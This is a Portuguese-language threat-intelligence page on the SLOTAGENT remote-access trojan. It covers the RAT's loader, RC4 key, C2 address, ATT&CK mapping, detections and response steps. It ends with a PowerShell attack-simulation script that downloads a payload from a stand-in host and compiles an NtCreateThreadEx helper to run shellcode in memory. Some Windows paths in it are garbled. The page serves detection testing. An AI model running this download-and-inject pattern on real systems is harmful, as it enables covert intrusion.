Novo Malware SLOTAGENT Suportando Execução de BOF Publicado
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
A IIJ identificou um RAT multifuncional previamente desconhecido chamado SLOTAGENT dentro de um arquivo ZIP enviado para um repositório público. O malware suporta a execução de payloads Beacon Object File e inclui capacidades anti-forenses, como apagamento de carimbos de data/hora para dificultar a análise. Ele se comunica com um endpoint TCP codificado através de um protocolo personalizado que troca dados no formato JSON. O carregador depende de dados de configuração criptografados com RC4 e carregamento de DLL reflexivo para lançar o payload final.
Investigação
A análise estática mostrou que o executável do carregador, WindowsOobeAppHost.AOT.exe, resolve funções da API do Windows através de uma rotina de hash personalizada baseada no DJB2. Seu arquivo de configuração criptografado, db.config, é descriptografado com RC4 usando a chave easdbadshyfab e depois executado como shellcode contendo uma DLL codificada em XOR. Após o carregamento, o RAT conecta-se a 43.156.59.110:699 e processa comandos baseados em JSON que suportam funções, incluindo captura de tela, upload e download de arquivos e execução de BOF.
Mitigação
Os defensores devem detectar o endereço IP de comando e controle codificado e procurar por cadeias de caminho do tipo HTTP associadas ao tráfego de rede do malware. As regras YARA fornecidas no relatório devem ser implantadas para identificar tanto o carregador quanto os componentes RAT. As equipes de segurança também devem monitorar comportamentos suspeitos de hash de API e carregamento reflexivo de DLLs nos endpoints. A execução de arquivos EXE ou DLL não assinados e não confiáveis deve ser restrita sempre que possível.
Resposta
Se indicadores ligados ao SLOTAGENT forem detectados, isole imediatamente o host afetado, termine o processo malicioso e colete memória para exame forense. O endereço IP de comando e controle e as portas relacionadas devem ser bloqueadas na fronteira da rede. As organizações devem então realizar uma varredura completa pelos nomes de arquivos e hashes conhecidos e aplicar as assinaturas YARA publicadas nos sistemas de detecção de endpoints.
graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ffcc99 classDef process fill:#c2f0c2 classDef network fill:#ffd966 classDef data fill:#d9d9d9 %% Nodes Definitions malware_exe[“<b>Malware</b> – <b>Nome</b>: WindowsOobeAppHost.AOT.exe<br/><b>Técnica</b>: T1204.002 Execução do Usuário”] class malware_exe malware exec_hijack[“<b>Técnica</b> – <b>T1574 Sequestro do Fluxo de Execução</b>: Chama a função exportada __managed__Main”] class exec_hijack action api_resolve[“<b>Técnica</b> – <b>T1027.007 Arquivos Ofuscados/Armazenados: Desofuscar Arquivos</b>: Hashing XOR/ROR11 personalizado para resolver endereços de API”] class api_resolve action config_decrypt[“<b>Técnica</b> – <b>T1027.007</b>: Descriptografa a configuração com RC4”] class config_decrypt action dll_decrypt[“<b>Técnica</b> – <b>T1027.007</b>: Descriptografa DLL codificada com XOR (agent_tcp.dll)”] class dll_decrypt action reflective_load[“<b>Técnica</b> – <b>T1620 Carregamento Reflexivo de DLL</b>: Carrega a DLL na memória sem tocar o disco”] class reflective_load process process_injection[“<b>Técnica</b> – <b>T1055.009 Injeção de Processo: Sequestro de Execução de Thread</b>: Injeta a DLL refletida no processo”] class process_injection process c2_channel[“<b>Técnica</b> – <b>T1571 Porta Não Padrão</b> and <b>T1573 Canal Criptografado</b>: Estabelece C2 TCP para 43.156.59.110:699”] class c2_channel network host_info[“<b>Técnica</b> – <b>T1592.001 Identidade da Vítima: Versão do SO</b> and <b>T1592.002 Detalhes de Hardware</b>: Envia JSON com dados do sistema”] class host_info data proc_discovery[“<b>Técnica</b> – <b>T1057 Descoberta de Processos</b>: Enumera processos em execução”] class proc_discovery data file_discovery[“<b>Técnica</b> – <b>T1083 Descoberta de Arquivos e Diretórios</b>: Lista arquivos e diretórios”] class file_discovery data screenshot_cap[“<b>Técnica</b> – <b>T1113 Captura de Tela</b>: Captura a tela do host”] class screenshot_cap data remote_shell[“<b>Técnica</b> – <b>T1059 Shell de Comando</b>: Executa comandos via shell remoto”] class remote_shell process bof_execution[“<b>Técnica</b> – <b>T1027.009 Payloads Incorporados</b> and <b>T1027.004 Compilar Após Entrega</b>: Executa módulos BOF”] class bof_execution process shared_modules[“<b>Técnica</b> – <b>T1129 Módulos Compartilhados</b>: Carrega módulos adicionais”] class shared_modules process file_transfer[“<b>Técnica</b> – <b>T1105 Transferência de Ferramentas</b>: Baixa e envia arquivos”] class file_transfer data proc_termination[“<b>Técnica</b> – <b>T1106 API Nativa</b>: Termina processos”] class proc_termination process sleep_manip[“<b>Técnica</b> – <b>T1027.004</b>: Manipula intervalos de espera para evitar análise”] class sleep_manip action %% Connections malware_exe –>|triggers| exec_hijack exec_hijack –>|uses| api_resolve api_resolve –>|enables| config_decrypt config_decrypt –>|provides| dll_decrypt dll_decrypt –>|feeds| reflective_load reflective_load –>|enables| process_injection process_injection –>|establishes| c2_channel c2_channel –>|collects| host_info c2_channel –>|collects| proc_discovery c2_channel –>|collects| file_discovery c2_channel –>|collects| screenshot_cap c2_channel –>|enables| remote_shell remote_shell –>|executes| bof_execution bof_execution –>|loads| shared_modules c2_channel –>|supports| file_transfer c2_channel –>|supports| proc_termination c2_channel –>|uses| sleep_manip
Fluxo de Ataque
Detecções
Possível Tentativa de Carregamento Lateral de DLL WindowsOobeAppHost.AOT (via image_load)
Ver
IOCs (HashSha256) para detectar: Novo Malware SLOTAGENT Suportando Execução de BOF Publicado
Ver
IOCs (SourceIP) para detectar: Novo Malware SLOTAGENT Suportando Execução de BOF Publicado
Ver
IOCs (DestinationIP) para detectar: Novo Malware SLOTAGENT Suportando Execução de BOF Publicado
Ver
Detectar Comunicação C2 do SLOTAGENT [Conexão de Rede Windows]
Ver
Detecção da Execução do Malware SLOTAGENT [Criação de Processo Windows]
Ver
Execução de Simulação
Pré-requisito: O Teste de Pré-voo de Telemetria & Base deve ter sido aprovado.
-
Narrativa & Comandos do Ataque:
O adversário obteve uma cópia do binário do carregador SLOTAGENT, o renomeou para
WindowsOobeAppHost.AOT.exepara misturá-lo com processos OOBE legítimos, e o colocou emC:WindowsSystem32. O payload é armazenado em um blob criptografado no servidor do atacante. Usando PowerShell, o atacante baixa o blob criptografado, o descriptografa na memória e invoca a rotina reflexiva do carregador viaNtCreateThreadEx. O carregador internamente chamaNtCreateFilepara ler recursos adicionais do blob criptografado e então usa carregamento reflexivo para executar a DLL maliciosa sem tocar no disco. Esta atividade produz um evento Sysmon ProcessCreate com o exatoNome da Imageme umaCallTracecontendo as três strings definidas na regra. -
Script de Teste de Regressão:
# ------------------------------------------------- # Simulação de carregamento reflexivo SLOTAGENT (Windows) # ------------------------------------------------- # 1. Definir caminhos $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" $payloadUrl = "https://malicious.example.com/payload.bin" $tempPayload = "$env:TEMPpayload.bin" # 2. Garantir que o carregador existe (cópia simulada do binário real) if (-not (Test-Path $loaderPath)) { Write-Host "Copiando carregador simulado para $loaderPath" Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath } # 3. Download do payload criptografado (simulado) Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload # 4. Descriptografar payload na memória (substituto – descriptografia real omitida) $decryptedBytes = Get-Content $tempPayload -Encoding Byte # 5. Invocar carregamento reflexivo via chamadas API nativas # Isso usa um pequeno auxiliar C# compilado em tempo real que chama NtCreateThreadEx $cSharp = @" using System; using System.Runtime.InteropServices; public class ReflectiveLoader { [DllImport("ntdll.dll", SetLastError=true)] public static extern IntPtr NtCreateThreadEx( out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr bytesBuffer); public static void Run(byte[] shellcode) { IntPtr hThread; NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero, Process.GetCurrentProcess().Handle, Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0), IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } } "@ Add-Type $cSharp -Language CSharp # 6. Limpar temporário Remove-Item $tempPayload -Force -
Comandos de Limpeza:
# Terminar qualquer processo de carregador restante Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force # Remover o binário do carregador simulado $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" if (Test-Path $loaderPath) { Remove-Item $loaderPath -Force } # Remover qualquer arquivo temporário residual Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue